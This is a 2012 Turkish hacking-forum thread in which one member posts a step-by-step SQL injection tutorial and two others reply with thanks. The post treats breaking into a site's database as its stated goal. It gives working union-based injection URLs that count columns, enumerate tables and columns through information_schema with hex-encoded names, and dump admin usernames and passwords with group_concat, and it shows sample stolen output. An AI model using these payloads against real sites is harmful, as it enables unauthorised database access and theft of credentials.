İPUCU

Web & Server Güvenliği Doğru web ve veritabanı sunucusu güvenliği sağlanmadan, bilgisayar korsanları hassas verilerinize erişebilir. Web, Sunucu ve veritabanı güvenliğini nasıl sağlayacağınızı buradan öğrenebilirsiniz.

Seçenekler

SQL sorgularının açılımı ve SQL İnjection (Döküman)

08-07-2012 15:42
#1
Üyelik tarihi:
11/2011
Nereden:
kocaeli
Yaş:
27
Mesajlar:
257
Teşekkür (Etti):
14
Teşekkür (Aldı):
21
Konular:
110
Ticaret:
(0) %
Selamun aleyküm arkadaşlar.
Bi döküman yazayım diye düşündüm. Size baştan sona sql inj. mantığını anlatmayı planlıyorum arkadaşlar.karşımızda bir site var biz veritabanına sızıcaz bu konuda kararlıyız başlayalım o zaman
http://www.sql.com/news.php?id=7 -----> sitemiz bu ik olarak id değerimizin sonuna ' işareti koyarak sql sorgularını çalıştırıp çalıştırmadığını anlıyoruz. Eğerki hata verirse sql sorgularını çalıştırabiliyor demektir ve bizde bu sql sorgularıyla veritabanından bilgi çekebiliriz.
Hatamızı aldık nasıl olabilir bu hatalar ?
Sayfadaki veriler gelmeyebilir.
Sayfada anlamsız garip warning mysql include gibi şeyler yazar. Yani sql hataları görünür.
Hatamızıda aldığımıza göre tam gaz devam sırada kolon sayısını öğrenmekvar ve order+by+1 komutunu id değerimizin sonuna yazıyoruz:
http://www.sql.com/news.php?id=7+order+by+1 ---> yazdık ve sayfadaki hatalar yeniden geldi ? Hönk nasıl lan gitmiyomuydu böyle

bazı sitelerde karşınıza çıkar arkadaşlar böyle olduğu zamanlar sorgumuzu şu şekilde devam ettireceğiz:
http://www.sql.com/news.php?id=7+order+by+1-- sona koyduğum 2 tane tire dikkatinizi çeksin bu sql sorgularında kullanılır. yazdık ve ekran geri geldi tertemiz ilk günkü gibi şimdi artırıyorum kolon sayısını
http://www.sql.com/news.php?id=7+order+by+10-- hata var
http://www.sql.com/news.php?id=7+order+by+9-- hata var
http://www.sql.com/news.php?id=7+order+by+8-- hata var
http://www.sql.com/news.php?id=7+order+by+7-- sayfa aynen geldi
demekki kolon sayımız 7 ve bunu farklı bir sql sorgusu şeklinde tekrar yazalım:
http://www.sql.com/news.php?id=7+union+select+1,2,3,4,5,6,7-- bazılarıda 0dan başlıyor o zaman şöyle oluyor söyleyim kafanız kaırşmasın:
http://www.sql.com/news.php?id=7+union+select+0,1,2,3,4,5,6--
her ikiside olur arkadaşlar yazdık sayfa geldi -- yine koyduk bazı siteler o olmadan sonuç vermiyor çünkü şimdi devam ekran yine aynen geldi o zaman bi - daha kullanacağız:
http://www.sql.com/news.php?id=-7+union+select+1,2,3,4,5,6,7-- dikkatli bakın id değerinin önüne - koydum ki id değerindeki veriler ekrandan gitsin bize yansıyan kolonları göstersin ve öylede oldu 3 - 5 - 7 bu kolonlar yansıdı ( her sitede farklı olur neden bende bunlar çıkmadı demeyin ) nasıl anlarız diye endişelenmenize gerek yok yazdığınız zaman onlar zaten kendini belli eder. şimdi bize tablo isimleri lazım sallamasyona hiç gerek yok mysql yapıyoruz sonuçta ( neden gerek yok : mysql 5 sistemlerde information_schema diye bir database vardır bu databasenin içinde datalar hariç tüm sql veritabanı kayıtlıdır tablolar ve kolonlar gibi yani ) information_schema dbsindeki tables tablosundan table_name kolonunu çekicem ve bana tüm tablo isimlerini vericek:
http://www.sql.com/news.php?id=-7+union+select+1,2,group_concat(table_name),4,5,6, 7+from+information_schema.tables--
ama bi gariplik var olur tabi çünkü tüm tabloları göster dediğimizde information_schema ve diğer databaselerdeki tablolarıda gösterir bize lazım olan sadece kendi databasemizdeki tablolar bu yüzden sorguyu şu şekilde değiştiriyorum:
http://www.sql.com/news.php?id=-7+union+select+1,2,group_concat(table_name),4,5,6, 7+from+information_schema.tables where table_schema=database()--
normalde burada hex kodlarıylada databasemizi belirtiriz ama ona henüz gerek yok böyle yazsanızda olur. evet işte şimdi oldu bakın 3 kolonunun olduğu yerde diyorki adminuser,news,product,images,music bize burada adminuser tablosu lazım o zaman adminuser tablosundan veri çekeceğiz ama nasıl çekeceğiz kolonları bilmiyoruz ? cevap: kolonlarıda information_schema'dan çekicez bu sefer sorgum şu:
http://www.sql.com/news.php?id=-7+union+select+1,2,group_concat(column_name),4,5,6 ,7+from+information_schema.columnswhere table_schema=database() and table_name=0x61646d696e75736572--
burada information_schema databasesindeki columns tablosundan column_name isimli kolondaki datayı çektim ama tüm kolonlar gelmemesi için biraz sınırlandırdım bu sınırlandırmalar where komutundan sonra başlıyor ilk olarak table_schema=database() bu diyorki databasemizdeki kolonları çek diğerlerini değil and table_name=0x61646d696e75736572 buda diyorki databasemizdekileri çek ve tablo ismi adminuser olan tablodaki kolonları çek 61646d696e75736572 bu yazılar hex kodlarıdır. hex encoder ve decoderlerde decode edince adminuser yazısını görürsünüz. hex kodları kullandığımız zaman kodların başına 0x koyarız sorguyu baştan sona anlattım
şimdi devam username,password,email falan geldi username ve password'u alalım
sorguyu dahada basitleştiriyoruz artık:
http://www.sql.com/news.php?id=-7+union+select+1,2,group_concat(username,0x3a,pass word),4,5,6,7+from+adminuser--
bu sorguyuda anlatmama gerek yoktur diye düşünüyoruz ama group_concat'ın içi hakkında biraz bilgi vereyim. group_concat istediğimiz verilerin tümünü çekmemizi sağlar yani ben username'yi group concatsız yazsam sadece bir tane gelir ama group_concat parantezinin içine alsam tüm veriler gelir. aynı zamanda virgül koyup farklı kolonlardaki bilgileride çekebiliriz karışmaması açısından bende aralarıda : ( ikinokta ) koydum 3a hex dilinde : demektir. 0x zaten hex kodlarının başında yer alıyordu gelen verilere bakalım:
adminwerty,sqladminassql
2 tane adminimiz varmış bunu virgülden anladım çünkü sorguyu şöyle verdim:
önce adminin usernameyi ver araya : koy şifreyi ver.
sonrada virgül koyarak diğerlerini bu şekilde sıralamaya devam eder

Arkadaşlar dökümanı gerçekten tam anlayabileceğiniz şekilde sıkmadan anlatmaya çaıştım Lisan-ı Sürç olduysa affola

Dökümanın Anlatımı Tamamen Bana Aittir
Kullanıcı İmzası
SSiz Bizim Kim Olduğumuzu Merak Ederken Biz Sizin 7 Sülalenizi Çözüyoruzz!!
xxxHUNTERxxx Teşekkür etti.

24-08-2012 16:21
#2
Üyelik tarihi:
07/2012
Nereden:
[ Gökyüzü ]
Mesajlar:
943
Teşekkür (Etti):
50
Teşekkür (Aldı):
382
Konular:
99
Ticaret:
(0) %
Teşekkürler dostm anlatm için.
Kullanıcı İmzası
Pilot Olunmaz , Pilot Doğulur
Türk Hava Kuvvetleri
F-16 Fighting Falcon
Gökyüzü Bekçileri
Pilot
24-08-2012 17:31
#3
b3mb4m - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
04/2012
Nereden:
Stockholm
Yaş:
24
Mesajlar:
591
Teşekkür (Etti):
11
Teşekkür (Aldı):
46
Konular:
77
Ticaret:
(0) %
Sql nin herşeyini ogrenmeye çalısıyorum 1 ay geçti bütün internetteki dokümanları okumak biraz güç eline saglık
Kullanıcı İmzası
THT?! Öleli çok oldu.Çoluk Çocugun elinde
AYRILDIM 01:29 01.08.2013
B3mB4m Say GOOD BYE

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı